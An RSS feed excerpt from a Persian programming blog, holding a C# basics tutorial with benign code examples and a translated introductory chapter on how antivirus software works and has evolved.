                <author>سید عمید قائم مقامی</author>
                <pubDate>Sun, 01 Feb 2026 11:25:08 +0330</pubDate>
            </item>
                    <item>
                <title>مقدماتی بر سی شارپ:(Tupleو try و catch و using و کلاس sealec و Dispose و Static )</title>
                <link>https://virgool.io/@m_14047363/%D9%85%D9%82%D8%AF%D9%85%D8%A7%D8%AA%DB%8C-%D8%A8%D8%B1-%D8%B3%DB%8C-%D8%B4%D8%A7%D8%B1%D9%BEtuple%D9%88-try-%D9%88-catch-%D9%88-using-%D9%88-%DA%A9%D9%84%D8%A7%D8%B3-sealec-%D9%88-dispose-%D9%88-static-rxl4krfgw5v1</link>
                <description>Tuple ها:از ویژگی های سی شارپ Tuple ها هستند. اما Tuple ها دقیقاً چه کمکی به ما در سی شارپ می کنند؟در اکثر مواقع زمانی که قصد داریم مدلی در سی شارپ ایجاد می کنیم (یا تعریف Class یا تعریف Struct). اما بعضی وقت ها ایجاد مدل های جدید کار زمانبری هست. اینجا Tuple ها به کمک ما می آیند.قبل از اینکه با نحوه کار Tuple ها آشنا بشیم یک مثال ساده می زنیم. فرض کنیم مدلی نیاز داریم که دو مقدار عددی و یک مقدار رشته تو خودش نگه داری کنه. قبلا به این صورت مدل مورد نیاز رو تعریف می کردیم:public class Model
{
    public Model(int value1, int value2, string value3)
    {
        this.Value1 = value1;
        this.Value2 = value2;
        this.Value3 = value3;
    }

    public int Value1 { get; set; }
    public int Value2 { get; set; }
    public string Value3 { get; set; }
}و از کد به این صورت استفاده می کردیم:var model = new Model(1, 2, &quot;A&quot;);با معرفی Tuple ها رسماً بخش اول، یعنی معرفی مدل حذف شده و میتونیم به راحتی به صورت زیر مدل مورد نظر رو ایجاد کنیم:var model = new Tuple&lt;int, int, string&gt;(1, 2, &quot;A&quot;);
Console.WriteLine(model.Item1);اما تعریف Tuple ها به صورت خیلی ساده تر هم امکان پذیر هست. برای تعریف Tuple بالا می تونیم از کد زیر استفاده کنیم:var model = (1, 2, &quot;A&quot;);

Console.WriteLine(model.Item1);کد بالا یک مدل با سه مقدار که دو مقدار اولی Int و مقدار آخری String می باشد برای ایجاد می کند. حالا فرض کنید بخواییم نوع مقدار دوم از نوع decimal باشد، بوسیله کد زیر می تونیم نوع مقادیر رو مشخص کنیم:(int, decimal, string) model = (1, 2, &quot;A&quot;);

Console.WriteLine(model.Item1 + &quot;,&quot; + model.Item2 + &quot;, &quot; + model.Item3);یکی از مشکلاتی که در کد بالا می بینیم نام گذاری خصوصیت ها هستند که به ترتیب Item1 و Item2 و Item3 می باشند. برای تغییر این نام می توانیم به صورت زیر کد را تغییر بدهیم:(int Number1, decimal Number2, string Name) model = (1, 2, &quot;A&quot;);

Console.WriteLine(model.Number1 + &quot;,&quot; + model.Number2 + &quot;, &quot; + model.Name);یکی از استفاده های Tuple ها در مقادیر بازگشتی متدها هستند. برای مثال متدی رو در نظر بگیرید که نام، نام خانوادگی و سن رو برمیگردونه، بوسیله Tuple ها متد مورد نظر رو به صورت زیر تعریف می کنیم:var emp = GetEmployee();
Console.WriteLine(emp.Firstname);


static (string Firstname, string Lastname, int Age) GetEmployee()
{
    return (&quot;Hossein&quot;, &quot;Ahmadi&quot;, 37);
}بلوک‌های try-catchبلوک‌های try-catch برای مدیریت خطاها (Exception Handling) در سی‌شارپ استفاده می‌شوند تا برنامه در صورت بروز خطا، به طور ناگهانی متوقف نشودtry
{
    // کدی که ممکن است خطا تولید کند
}
catch (ExceptionType variableName)
{
    // کدی که در صورت بروز خطا اجرا می‌شود
}مثال:try
{
    int a = 10;
    int b = 0;
    int result = a / b; // خطای تقسیم بر صفر
}
catch (DivideByZeroException ex)
{
    Console.WriteLine(&quot;خطا: نمی‌توان بر صفر تقسیم کرد!&quot;);
    Console.WriteLine($&quot;جزئیات: {ex.Message}&quot;);
}بلوک finally:همیشه اجرا می‌شود، چه خطا رخ دهد چه ندهد.FileStream file = null;
try
{
    file = File.Open(&quot;test.txt&quot;, FileMode.Open);
    // کار با فایل
}
catch (FileNotFoundException ex)
{
    Console.WriteLine(&quot;فایل پیدا نشد!&quot;);
}
finally
{
    // بستن فایل در هر صورت
    if (file != null)
        file.Close();
}دستور using (برای مدیریت منابع):در برنامه‌نویسی با زبان‌های مختلف، مدیریت منابع از اهمیت ویژه‌ای برخوردار است. در سی‌ شارپ نیز این موضوع بسیار حائز اهمیت است، چرا که برای بهینه‌سازی و آزاد کردن منابع سیستم، زبان برنامه‌نویسی سی‌ شارپ ابزارهای قدرتمندی ارائه می‌دهد. یکی از این ابزارها واسط IDisposable است که به ما کمک می‌کند تا منابعی که خارج از حافظه اصلی قرار دارند را به درستی مدیریت و آزاد کنیم. در این مقاله به صورت جامع و کامل به بررسی IDisposable در سی‌ شارپ می‌پردازیم و از مثال‌های کاربردی استفاده می‌کنیم تا موضوع را به سادگی درک کنید.چرا IDisposable ضروری است؟سی‌ شارپ به عنوان یک زبان مدیریت شده شناخته می‌شود، به این معنا که حافظه به طور خودکار مدیریت می‌شود. اما همیشه فقط با حافظه اصلی سروکار نداریم. مواردی مانند فایل‌ها، اتصال به دیتابیس، شبکه‌ها، پایگاه‌های داده و دستگاه‌های ورودی و خروجی نیز از منابعی هستند که باید مدیریت شوند. مدیریت درست این منابع مهم است زیرا اگر منابعی مانند فایل‌ها به موقع آزاد نشوند، باعث مشکلات عملکردی و حتی نشت منابع می‌شود.using (ResourceType resource = new ResourceType())
{
    // کار با resource
    // به طور خودکار Dispose می‌شود
}مثال:using (StreamWriter writer = new StreamWriter(&quot;file.txt&quot;))
{
    writer.WriteLine(&quot;Hello World&quot;);
} // به طور خودکار Dispose می‌شودنسخه جدید سی‌شارپ (از نسخه 8 به بعد):Using Declarations (بدون بلوک {}):// قبل از سی‌شارپ 8
void OldMethod()
{
    using (var reader = new StreamReader(&quot;file.txt&quot;))
    {
        var content = reader.ReadToEnd();
        // کارهای دیگر
    } // اینجا Dispose می‌شود
}

// از سی‌شارپ 8 به بعد
void NewMethod()
{
    using var reader = new StreamReader(&quot;file.txt&quot;);
    var content = reader.ReadToEnd();
    // کارهای دیگر
} // اینجا Dispose می‌شود - در پایان scope// بهترین روش برای مدیریت منابع
using var resource1 = new Resource1();
using var resource2 = new Resource2();

// کار با منابع
var result = resource1.Process(resource2.GetData());

// در پایان متد، به طور خودکار Dispose می‌شوندچگونه از IDisposable استفاده کنیم؟برای استفاده از IDisposable، کلاس شما باید این واسط را پیاده‌سازی کند و متد Dispose را ارائه دهد. این متد باید برای آزاد کردن منابعی که دیگر به آنها نیازی نیست، استفاده شود.مثال:Console.WriteLine(&quot;Start of method&quot;);
        
// این scope اصلی است
using Flashlight flashlight1 = new Flashlight();
        
Console.WriteLine(&quot;Using flashlight...&quot;);
// کار با flashlight1
        
Console.WriteLine(&quot;End of method&quot;);
// flashlight1 به طور خودکار اینجا Dispose می‌شود

public class Flashlight : IDisposable
{
    public void Dispose()
    {
        Console.WriteLine(&quot;Flashlight disposed&quot;);
        GC.SuppressFinalize(this);
    }
}در سی شارپ در کلاس و توابع و متغیر های کلاس چه زمانی آنها رو استاتیک میکنیم؟از static زمانی استفاده کنید که عضو به حالت هیچ نمونه‌ای از کلاس وابسته نباشد و بتواند مستقل از نمونه‌سازی عمل کند.1. کلاس استاتیک (Static Class):زمانی که:کلاس فقط اعضای استاتیک داردنیازی به نمونه‌سازی (Instantiation) نداریدبرای گروه‌بندی توابع مرتبط بدون نیاز به حالت// ✅ مناسب برای static class:
public static class FileUtilities
{
    public static string ReadAllText(string path) =&gt; File.ReadAllText(path);
    public static void WriteAllText(string path, string content) =&gt; File.WriteAllText(path, content);
}

// ❌ نامناسب برای static class:
public class UserService // نیاز به حالت و وابستگی‌ها دارد
{
    private readonly IUserRepository _repository;
    public UserService(IUserRepository repository) { _repository = repository; }
}2. متد استاتیک (Static Method)زمانی که:متد فقط با پارامترهای ورودی کار می‌کندبه هیچ فیلد/خصوصیت نمونه (instance field/property) دسترسی نداردعملکردی خالص (Pure) و بدون عوارض جانبی داردpublic class Calculator
{
    // ✅ مناسب برای static:
    public static int Add(int a, int b) =&gt; a + b;  // فقط با پارامترها کار می‌کند
    public static bool IsValidEmail(string email) =&gt; Regex.IsMatch(email, @&quot;^[^@\s]+@[^@\s]+\.[^@\s]+$&quot;);
    
    // ❌ نامناسب برای static:
    private double _lastResult;
    public double AddAndStore(double a, double b)  // به حالت نمونه وابسته است
    {
        _lastResult = a + b;
        return _lastResult;
    }
}3. متغیر استاتیک (Static Field/Property)زمانی که:داده باید بین همه نمونه‌های کلاس مشترک باشدنیاز به نگهداری حالت در سطح کلاس داریدبرای کش (Cache)، تنظیمات، یا اشتراک منابعpublic class Logger
{
    // ✅ مناسب برای static:
    private static int _totalLogEntries = 0;  // شمارنده مشترک
    private static readonly string LogPath = &quot;app.log&quot;;  // تنظیمات مشترک
    
    // ❌ نامناسب برای static:
    private string _userSpecificLogPath;  // برای هر کاربر متفاوت است
}حلقه foreach:foreach یک حلقه تکرارکننده (iterator) است که برای پیمایش مجموعه‌ها (Collections) و آرایه‌ها استفاده می‌شود. برخلاف for، نیاز به اندیس‌دهی دستی ندارد.foreach (type variable in collection)
{
    // کدی که برای هر عنصر اجرا می‌شود
}مثال ۱: پیمایش آرایهstring[] fruits = { &quot;سیب&quot;, &quot;موز&quot;, &quot;پرتقال&quot;, &quot;انگور&quot; };

foreach (string fruit in fruits)
{
    Console.WriteLine(fruit);
}خروجی:سیب
موز
پرتقال
انگورمثال ۲: پیمایش لیستList&lt;int&gt; numbers = new List&lt;int&gt; { 1, 2, 3, 4, 5 };
int sum = 0;

foreach (int number in numbers)
{
    sum += number;
    Console.WriteLine($&quot;عدد: {number}, مجموع تاکنون: {sum}&quot;);
}نکات مهم و محدودیت‌ها:۱. فقط خواندنی (Read-only)List&lt;int&gt; numbers = new List&lt;int&gt; { 1, 2, 3 };

foreach (int num in numbers)
{
    // num = num * 2;  // ❌ خطا! نمی‌توان مقدار را تغییر داد
    Console.WriteLine(num);
}

// راه حل: استفاده از for
for (int i = 0; i &lt; numbers.Count; i++)
{
    numbers[i] = numbers[i] * 2;  // ✅ قابل تغییر
}۲. نمی‌توان در حین پیمایش، آیتم اضافه/حذف کردList&lt;string&gt; items = new List&lt;string&gt; { &quot;A&quot;, &quot;B&quot;, &quot;C&quot; };

foreach (var item in items)
{
    if (item == &quot;B&quot;)
    {
        // items.Remove(item);  // ❌ خطای زمان اجرا: InvalidOperationException
    }
}

// راه حل: استفاده از for معکوس یا ToList()
for (int i = items.Count - 1; i &gt;= 0; i--)
{
    if (items[i] == &quot;B&quot;)
    {
        items.RemoveAt(i);  // ✅
    }
}۳. متغیر حلقه scope محلی داردforeach (int num in new int[] { 1, 2, 3 })
{
    int square = num * num;  // فقط در این scope قابل دسترسی است
    Console.WriteLine(square);
}

// Console.WriteLine(square);  // ❌ خطا: square در اینجا تعریف نشدهاز سیشارپ 12 به بعد میتوان یک لیست پارامتر را مستقیم پس از اعلان کلاس (یا ساختار) رار دهید.var temp = new Camid(&quot;Amid&quot;,&quot;GM&quot;);
temp.Print();
Console.WriteLine(&quot;Done!&quot;);

public class Camid (string FName, string LName)
{
    ~Camid()
    {
        Console.WriteLine(&quot;Hello from ~Camid&quot;);
    }

    public void Print()
    {
        Console.WriteLine($&quot;{FName} {LName}&quot;);
    }
}متد های partial:متدهای partial به شما اجازه می‌دهند که یک متد را در یک کلاس تعریف کنید و در جای دیگر پیاده‌سازی کنید. این ویژگی مخصوصاً برای code generation و طراحی مبتنی بر قالب مفید است.نکته مهم:متدهای partial فقط در کلاس‌های partial کار می‌کنند!ساختار پایه:public partial class MyClass
{
    // ۱. تعریف متد (بدون بدنه)
    partial void MyPartialMethod(string message);
    
    // ۲. متد عادی که partial method را فراخوانی می‌کند
    public void PublicMethod()
    {
        Console.WriteLine(&quot;Public method called&quot;);
        MyPartialMethod(&quot;Hello from public method&quot;);
    }
}

public partial class MyClass
{
    // ۳. پیاده‌سازی متد partial
    partial void MyPartialMethod(string message)
    {
        Console.WriteLine($&quot;Partial method executed: {message}&quot;);
    }
}محدودیت‌ها:فقط در کلاس‌های partial کار می‌کنندنمی‌توانند access modifier داشته باشند (همیشه private هستند)نمی‌توانند virtual, abstract, override, sealed, extern, یا new باشندفقط می‌توانند void برگردانندout پارامترها می‌توانند داشته باشند، اما ref نمی‌توانندکاربردهای اصلی:کدهای تولید شده خودکار (مثل Windows Forms, WPF, Entity Framework)الگوهای طراحی hook/eventاضافه کردن منطق سفارشی بدون تغییر کدهای generatorایجاد نقطه‌های گسترش (extension points) در کلاس‌هامثال:Console.WriteLine(&quot;=== ایجاد کاربر جدید ===&quot;);
var user = new User(&quot;Amid&quot;, 25);
user.PrintInfo();
        
Console.WriteLine(&quot;\n=== تغییر نام کاربری ===&quot;);
user.Username = &quot;Ali&quot;; // partial methods فراخوانی می‌شوند
        
Console.WriteLine(&quot;\n=== تغییر نام کاربری به مقدار نامعتبر ===&quot;);
user.Username = &quot;Ab&quot;; // partial method هشدار می‌دهد
        
Console.WriteLine(&quot;\n=== تغییر سن ===&quot;);
user.Age = 30;
        
Console.WriteLine(&quot;\n=== تغییر سن به مقدار نامعتبر ===&quot;);
user.Age = -5; // partial method خطا می‌دهد
        
Console.WriteLine(&quot;\n=== اطلاعات نهایی ===&quot;);
user.PrintInfo();
Console.WriteLine($&quot;آیا بزرگسال است؟ {user.IsAdult()}&quot;);

public partial class User
{
    private string _username;
    private int _age;
    
    // تعریف partial method ها (فقط امضا - بدون بدنه)
    partial void OnUsernameChanging(string newUsername);
    partial void OnUsernameChanged(string oldUsername);
    partial void OnAgeChanging(int newAge);
    
    public string Username
    {
        get =&gt; _username;
        set
        {
            // فراخوانی partial method قبل از تغییر
            OnUsernameChanging(value);
            
            string oldUsername = _username;
            _username = value;
            
            // فراخوانی partial method بعد از تغییر
            OnUsernameChanged(oldUsername);
        }
    }
    
    public int Age
    {
        get =&gt; _age;
        set
        {
            OnAgeChanging(value);
            _age = value;
        }
    }
    
    public User(string username, int age)
    {
        _username = username;
        _age = age;
    }
    
    public void PrintInfo()
    {
        Console.WriteLine($&quot;Username: {_username}, Age: {_age}&quot;);
    }
}

// بخش دوم کلاس partial (همان فایل یا فایل دیگر)
public partial class User
{
    // پیاده‌سازی partial method ها (اختیاری)
    partial void OnUsernameChanging(string newUsername)
    {
        Console.WriteLine($&quot;🔄 در حال تغییر نام کاربری به: {newUsername}&quot;);
        
        if (newUsername.Length &lt; 3)
        {
            Console.WriteLine(&quot;⚠️  نام کاربری خیلی کوتاه است!&quot;);
        }
    }
    
    partial void OnUsernameChanged(string oldUsername)
    {
        Console.WriteLine($&quot;✅ نام کاربری تغییر کرد: {oldUsername} → {_username}&quot;);
    }
    
    partial void OnAgeChanging(int newAge)
    {
        if (newAge &lt; 0)
        {
            Console.WriteLine(&quot;❌ سن نمی‌تواند منفی باشد!&quot;);
        }
        else if (newAge &gt; 150)
        {
            Console.WriteLine(&quot;❌ سن غیرواقعی است!&quot;);
        }
        else
        {
            Console.WriteLine($&quot;🔄 در حال تغییر سن به: {newAge}&quot;);
        }
    }
    
    // اضافه کردن یک متد جدید به کلاس
    public bool IsAdult()
    {
        return _age &gt;= 18;
    }
}کلاس sealec:کلاس sealed (مهروموم‌شده) کلاسی است که نمی‌توان از آن ارث‌بری کرد. مثل درختی که می‌گوییم &quot;از این شاخه بالاتر نرو!&quot;کاربرد اصلی:جلوگیری از ارث‌بری - وقتی می‌خواهید مطمئن شوید هیچ‌کس نمی‌تواند از کلاس شما ارث‌بری کند.ساختار پایه:public sealed class MyClass
{
    // اعضای کلاس
}این کار نمی‌تواند انجام شود:public sealed class Animal
{
    public string Name { get; set; }
    
    public void Eat()
    {
        Console.WriteLine($&quot;{Name} is eating...&quot;);
    }
}

// ❌ خطا: نمی‌توان از کلاس sealed ارث‌بری کرد
public class Dog : Animal  // Error: &#039;Dog&#039;: cannot derive from sealed type &#039;Animal&#039;
{
    public void Bark()
    {
        Console.WriteLine(&quot;Woof!&quot;);
    }
}اما این کار می‌شود:// کلاس پایه (غیر sealed)
public class Animal
{
    public string Name { get; set; }
    
    public void Eat()
    {
        Console.WriteLine($&quot;{Name} is eating...&quot;);
    }
}

// کلاس sealed
public sealed class Dog : Animal  // ✅ می‌تواند از Animal ارث‌بری کند
{
    public void Bark()
    {
        Console.WriteLine(&quot;Woof!&quot;);
    }
}

// ❌ اما نمی‌توان از Dog ارث‌بری کرد
public class Puppy : Dog  // Error: &#039;Puppy&#039;: cannot derive from sealed type &#039;Dog&#039;
{
}Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Sun, 01 Feb 2026 10:51:32 +0330</pubDate>
            </item>
                    <item>
                <title>آنتی ویروس hackers Handbk قسمت اول:</title>
                <link>https://virgool.io/@m_14047363/%D8%A2%D9%86%D8%AA%DB%8C-%D9%88%DB%8C%D8%B1%D9%88%D8%B3-hackers-handbk-%D9%82%D8%B3%D9%85%D8%AA-%D8%A7%D9%88%D9%84-dtv0bpacisdy</link>
                <description>نرمافزار آنتیویروس برای جلوگیری از آلوده شدن رایانهها طراحی شده است؛ به این صورت که نرمافزارهای مخرب، که معمولاً «بدافزار» (Malware) نامیده میشوند، را روی رایانه شناسایی میکند و در صورت لزوم با حذف بدافزار و پاکسازی سیستم، رایانه را ضدعفونی میکند. بدافزار که در این کتاب از آن با عنوان «نمونهها» نیز یاد میشود، میتواند به انواع مختلفی مانند تروجانها، ویروسها (آلودهکنندهها)، روتکیتها، دراپرها، کرمها و موارد دیگر طبقهبندی شود.این فصل به معرفی نرمافزار آنتیویروس (AV) و نحوهٔ عملکرد آن میپردازد و همچنین تاریخچهای کوتاه از نرمافزارهای آنتیویروس و تحلیلی مختصر از چگونگی تکامل آنها در گذر زمان ارائه میدهد.نرمافزار آنتیویروس چیست؟نرمافزار آنتیویروس نوعی نرمافزار امنیتی ویژه است که هدف آن فراهم کردن سطح حفاظتی بالاتری نسبت به آنچه سیستمعامل پایه (مانند ویندوز یا Mac OS X) ارائه میدهد، میباشد. در بیشتر موارد، از آن بهعنوان یک راهکار پیشگیرانه استفاده میشود. با این حال، اگر این پیشگیری مؤثر واقع نشود، نرمافزار آنتیویروس برای ضدعفونی کردن برنامههای آلوده یا پاکسازی کامل بدافزار از سیستمعامل به کار میرود.نرمافزار آنتیویروس از تکنیکهای مختلفی برای شناسایی نرمافزارهای مخرب استفاده میکند؛ نرمافزارهایی که اغلب از خود محافظت کرده و در لایههای عمیق سیستمعامل پنهان میشوند. بدافزارهای پیشرفته ممکن است از قابلیتهای مستندسازینشدهٔ سیستمعامل و روشهای مبهم استفاده کنند تا ماندگار بمانند و از شناسایی شدن جلوگیری کنند. به دلیل گستردگی سطح حمله در دنیای امروز، نرمافزار آنتیویروس بهگونهای طراحی شده است که بتواند با انواع مختلف محمولههای مخرب، چه از منابع مورد اعتماد و چه از منابع غیرقابل اعتماد، مقابله کند. از جمله ورودیهای مخربی که نرمافزار آنتیویروس با درجات مختلفی از موفقیت سعی در محافظت از سیستمعامل در برابر آنها دارد میتوان به بستههای شبکه، پیوستهای ایمیل، و اکسپلویتهای مربوط به مرورگرها و برنامههای نمایش اسناد، و همچنین برنامههای اجرایی در حال اجرا روی سیستمعامل اشاره کرد.نرمافزار آنتیویروس:گذشته و حالاولین محصولات آنتیویروس صرفاً «اسکنر» نامیده میشدند، زیرا اسکنرهای خط فرمانی بودند که تلاش میکردند الگوهای مخرب را در برنامههای اجرایی شناسایی کنند. از آن زمان تاکنون، نرمافزارهای آنتیویروس تغییرات زیادی کردهاند. برای مثال، بسیاری از محصولات آنتیویروس دیگر شامل اسکنرهای خط فرمان نیستند. امروزه بیشتر آنتیویروسها از اسکنرهایی با رابط کاربری گرافیکی (GUI) استفاده میکنند که هر فایلی را که توسط سیستمعامل یا برنامههای کاربر ایجاد، تغییر یا مورد دسترسی قرار میگیرد، بررسی میکنند. همچنین فایروالهایی نصب میکنند تا بدافزارهایی را که از شبکه برای آلوده کردن رایانهها استفاده میکنند شناسایی کنند، افزونههای مرورگر برای تشخیص اکسپلویتهای مبتنی بر وب نصب میکنند، مرورگرها را برای پرداخت امن ایزوله میکنند، درایورهای هسته (Kernel) برای محافظت از خود آنتیویروس یا ایجاد محیطهای سندباکس میسازند و قابلیتهای دیگری نیز ارائه میدهند.از زمان سیستمعاملهای قدیمی مانند Microsoft DOS و سایر سیستمعاملهای منسوخ، نرمافزارها بهطور طبیعی همگام با سیستمعاملها تکامل یافتهاند. با این حال، نرمافزارهای آنتیویروس به دلیل حجم بسیار زیاد بدافزارهای تولیدشده، با سرعتی چشمگیر تکامل پیدا کردهاند. در دههٔ ۱۹۹۰، یک شرکت آنتیویروس در طول یک هفته تنها تعداد اندکی بدافزار دریافت میکرد که معمولاً آلودهکنندههای فایل (یا ویروسها) بودند. امروزه یک شرکت آنتیویروس روزانه هزاران فایل مخرب منحصربهفرد دریافت میکند (منحصربهفرد از نظر هش رمزنگاری مانند MD5 یا SHA-1). این موضوع صنعت آنتیویروس را مجبور کرده است تا بر تشخیص خودکار و ایجاد روشهای ابتکاری (هیوریستیک) برای شناسایی بدافزارهای ناشناخته، هم بهصورت پویا و هم ایستا، تمرکز کند. فصلهای ۳ و ۴ به بررسی عمیقتر نحوهٔ عملکرد نرمافزارهای آنتیویروس میپردازند.تحول سریع بدافزارها و محصولات ضدبدافزار با یک انگیزهٔ بسیار ساده هدایت میشود: پول. در روزهای ابتدایی، نویسندگان ویروس (که vxer نیز نامیده میشدند) نوع خاصی از آلودهکنندههای فایل را مینوشتند که بر انجام کارهایی تمرکز داشت که پیش از آن توسط دیگران انجام نشده بود، تا به شهرت برسند یا صرفاً خود را به چالش بکشند. امروزه توسعهٔ بدافزار یک کسبوکار بسیار سودآور است که برای اخاذی از کاربران رایانه و همچنین سرقت اطلاعات کاربری آنها برای خدمات آنلاین مختلف مانند eBay، Amazon و Google Mail، و نیز بانکها و سامانههای پرداخت (برای مثال PayPal) استفاده میشود؛ هدف مشترک، کسب هرچه بیشتر پول است.برخی از فعالان صنعت بدافزار میتوانند اطلاعات ورود به ایمیل حسابهای Yahoo یا Gmail شما را سرقت کرده و از آنها برای ارسال هرزنامه یا بدافزار به هزاران کاربر به نام شما استفاده کنند. آنها همچنین میتوانند از اطلاعات کارت اعتباری سرقتشدهٔ شما برای انجام پرداخت به حسابهای بانکی تحت کنترل خود یا پرداخت به «واسطهها» (mules) جهت جابهجایی پولهای سرقتی از حسابهای آلوده به حسابهای پاک استفاده کنند تا فعالیتهای مجرمانهٔ آنها سختتر قابل ردیابی شود.نوع دیگری از بدافزار که بهطور فزایندهای رایج شده، توسط دولتها، سازمانهای مشکوک، یا شرکتهایی ساخته میشود که بدافزار (نرمافزارهای جاسوسی) را به دولتها میفروشند؛ دولتهایی که به نوبهٔ خود ارتباطات مردمشان را زیر نظر میگیرند. برخی از این نرمافزارها برای خرابکاری در زیرساختهای کشورهای خارجی طراحی شدهاند. برای مثال، کرم رایانهای بدنام استاکسنت (Stuxnet) موفق شد با استفاده از حداکثر پنج آسیبپذیری روز-صفر (Zero-Day)، تأسیسات هستهای نطنز ایران را خرابکارانه مختل کند. نمونهٔ دیگری از خرابکاری، حملات سایبری میان کشورها و شرکتهایی است که در رقابت مستقیم با کشور یا شرکت دیگری قرار دارند؛ مانند حملهٔ سایبری به شرکت آرامکوی عربستان سعودی که یک کارزار خرابکاری منتسب به ایران بود و بزرگترین شرکت نفتی عربستان را هدف قرار داد.نرمافزارها همچنین میتوانند صرفاً برای جاسوسی از شبکههای دولتی، شرکتها یا شهروندان ایجاد شوند؛ سازمانهایی مانند آژانس امنیت ملی آمریکا (NSA) و ستاد ارتباطات دولت بریتانیا (GCHQ)، و همچنین هکرهایی از ارتش آزادیبخش خلق (PLA)، تقریباً بهصورت روزانه به چنین فعالیتهایی میپردازند. دو نمونه از نرمافزارهای نظارتی، FinFisher و Hacking Team هستند. دولتها، و همچنین نهادهای اجرای قانون و سازمانهای امنیتی، نسخههای تجاری FinFisher و Hacking Team را برای جاسوسی از مجرمان، مظنونان و حتی شهروندان خود خریداری کردهاند. نمونهای که به ذهن میرسد، دولت بحرین است که از نرمافزار FinFisher برای جاسوسی از مخالفانی که علیه دولت میجنگیدند استفاده کرد.پیشرفتهای بزرگ و سرمایهگذاریهای مالی عظیم در توسعهٔ بدافزار، صنعت آنتیویروس (AV) را در ده سال گذشته مجبور کرده است که بهطور چشمگیری تغییر کرده و تکامل یابد. متأسفانه، بخش دفاعی امنیت اطلاعات ــ جایی که نرمافزارهای آنتیویروس قرار میگیرند ــ همواره از بخش تهاجمی عقبتر است. معمولاً یک شرکت آنتیویروس نمیتواند بدافزاری را که هنوز ناشناخته است شناسایی کند، بهویژه اگر در فرایند توسعهٔ آن بدافزار، کنترل کیفیت مناسبی انجام شده باشد. دلیل این موضوع بسیار ساده است: فرار از شناسایی توسط آنتیویروس بخش کلیدی توسعهٔ بدافزار است و برای مهاجمان اهمیت دارد که بدافزارشان تا حد امکان برای مدت طولانی شناسایی نشود. بسیاری از بستههای تجاری بدافزار، چه قانونی و چه غیرقانونی، همراه با یک بازهٔ زمانی پشتیبانی فروخته میشوند. در طول این دورهٔ پشتیبانی، محصول بدافزاری بهروزرسانی میشود تا از شناسایی توسط نرمافزارهای آنتیویروس یا سیستمعامل عبور کند. همچنین ممکن است بدافزار برای رفع اشکالات، افزودن قابلیتهای جدید و موارد مشابه بهروزرسانی شود. خود نرمافزارهای آنتیویروس نیز میتوانند هدف حمله قرار گیرند؛ مانند مورد The Mask که یک بدافزار تحت حمایت دولت بود و از یکی از آسیبپذیریهای روز-صفر شرکت کسپرسکی استفاده میکرد.اسکنرهای آنتیویروس، کرنلها و محصولاتیک کاربر معمولی رایانه ممکن است نرمافزار آنتیویروس را بهعنوان یک مجموعه نرمافزاری ساده ببیند، اما یک مهاجم باید بتواند آنتیویروس را در سطحی عمیقتر بررسی کند.این فصل اجزای مختلف یک آنتیویروس را شرح میدهد؛ از جمله کرنل، اسکنر خط فرمان، اسکنر رابط گرافیکی (GUI)، دیمونها یا سرویسهای سیستمی، درایورهای فیلتر سیستم فایل، درایورهای فیلتر شبکه و هر ابزار پشتیبان دیگری که همراه آن ارائه میشود.ClamAV، تنها نرمافزار آنتیویروس متنباز، نمونهای از یک اسکنر است. این نرمافزار صرفاً اسکن فایلها را برای کشف الگوهای نرمافزارهای مخرب انجام میدهد و برای هر فایل شناساییشده پیامی چاپ میکند. ClamAV عمل ضدعفونی انجام نمیدهد و از یک سیستم اکتشافی واقعی (مبتنی بر رفتار) استفاده نمیکند.در مقابل، کرنل هستهی اصلی یک محصول آنتیویروس را تشکیل میدهد. برای مثال، هستهی ClamAV کتابخانهی libclam.so است. تمام روالهای مربوط به بازکردن بستهبندی برنامههای اجرایی، فشردهسازها، رمزکنندهها، محافظها و موارد مشابه در این کتابخانه قرار دارند. همچنین تمام کدهای مربوط به باز کردن فایلهای فشرده برای پیمایش تمام جریانهای یک فایل PDF یا برای فهرستکردن و تحلیل کلاسترها در یک فایل کانتینر OLE2 (مانند یک سند Microsoft Word) نیز در همین کتابخانه هستند. کرنل توسط اسکنر clamscan، توسط نسخهی مقیم (یا دیمون) clamd، و توسط سایر برنامهها و کتابخانهها مانند بایندینگهای پایتون آن که PyClamd نام دارند، استفاده میشود.نکته: محصولات آنتیویروس اغلب از بیش از یک هسته یا کرنل آنتیویروس استفاده میکنند. برای مثال، F-Secure از موتور آنتیویروس اختصاصی خود و همچنین موتوری که از BitDefender مجوز گرفته است استفاده میکند.یک محصول آنتیویروس ممکن است همیشه دسترسی مستقیم توسعهدهندگان شخص ثالث به هستهی خود را فراهم نکند؛ در عوض، ممکن است دسترسی به اسکنرهای خط فرمان را ارائه دهد. سایر محصولات آنتیویروس ممکن است اصلاً دسترسی به اسکنرهای خط فرمان ندهند و تنها اجازهی دسترسی به اسکنر GUI یا یک برنامهی GUI برای پیکربندی نحوهی عملکرد حفاظت بلادرنگ یا بخشهای دیگر محصول در زمینهی شناسایی و ضدعفونی بدافزار را بدهند. مجموعهی محصول آنتیویروس ممکن است شامل برنامههای امنیتی دیگری نیز باشد، مانند مرورگرها، نوارابزارهای مرورگر، درایورهای محافظت از خود، دیوارههای آتش و موارد دیگر.همانطور که میبینید، «محصول» کل بستهی نرمافزاری است که شرکت آنتیویروس به مشتری ارائه میدهد، در حالی که «اسکنرها» ابزارهایی هستند که برای اسکن فایلها و دایرکتوریها استفاده میشوند، و «کرنل» شامل ویژگیهای هستهای است که به اجزای نرمافزاری سطح بالاتر مانند اسکنرهای GUI یا خط فرمان ارائه میشود.تصورات نادرست رایج درباره نرمافزارهای آنتیویروسبیشتر کاربران آنتیویروس باور دارند که محصولات امنیتی غیرقابل نفوذ هستند و صرفاً نصب نرمافزار آنتیویروس رایانههایشان را ایمن نگه میدارد. این باور درست نیست، و دیدن نظراتی مانند این در انجمنهای آنتیویروس غیرمعمول نیست: «من به بدافزار XXX آلوده شدهام. چطور ممکن است؟ من محصول آنتیویروس YYY را نصب کردهام!»برای نشان دادن اینکه چرا نرمافزارهای آنتیویروس غیرقابل نفوذ نیستند، بیایید نگاهی به وظایفی بیندازیم که محصولات آنتیویروس مدرن انجام میدهند:کشف الگوهای مخرب شناختهشده و رفتارهای بد در برنامههاکشف الگوهای مخرب شناختهشده در اسناد و صفحات وبکشف الگوهای مخرب شناختهشده در بستههای شبکهتلاش برای سازگاری و کشف رفتارها یا الگوهای بد جدید بر اساس تجربه با موارد شناختهشده قبلیممکن است متوجه شده باشید که واژه «شناختهشده» در هر یک از این وظایف استفاده شده است. 